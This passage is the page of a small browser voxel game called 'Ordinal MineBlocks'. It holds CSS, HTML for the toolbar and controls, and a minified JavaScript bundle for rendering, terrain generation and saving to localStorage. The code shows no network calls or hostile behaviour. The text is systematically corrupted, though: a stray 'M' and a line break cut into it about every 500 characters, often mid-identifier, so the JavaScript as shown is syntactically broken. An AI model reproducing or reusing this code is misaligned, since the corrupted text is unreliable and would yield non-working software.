e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
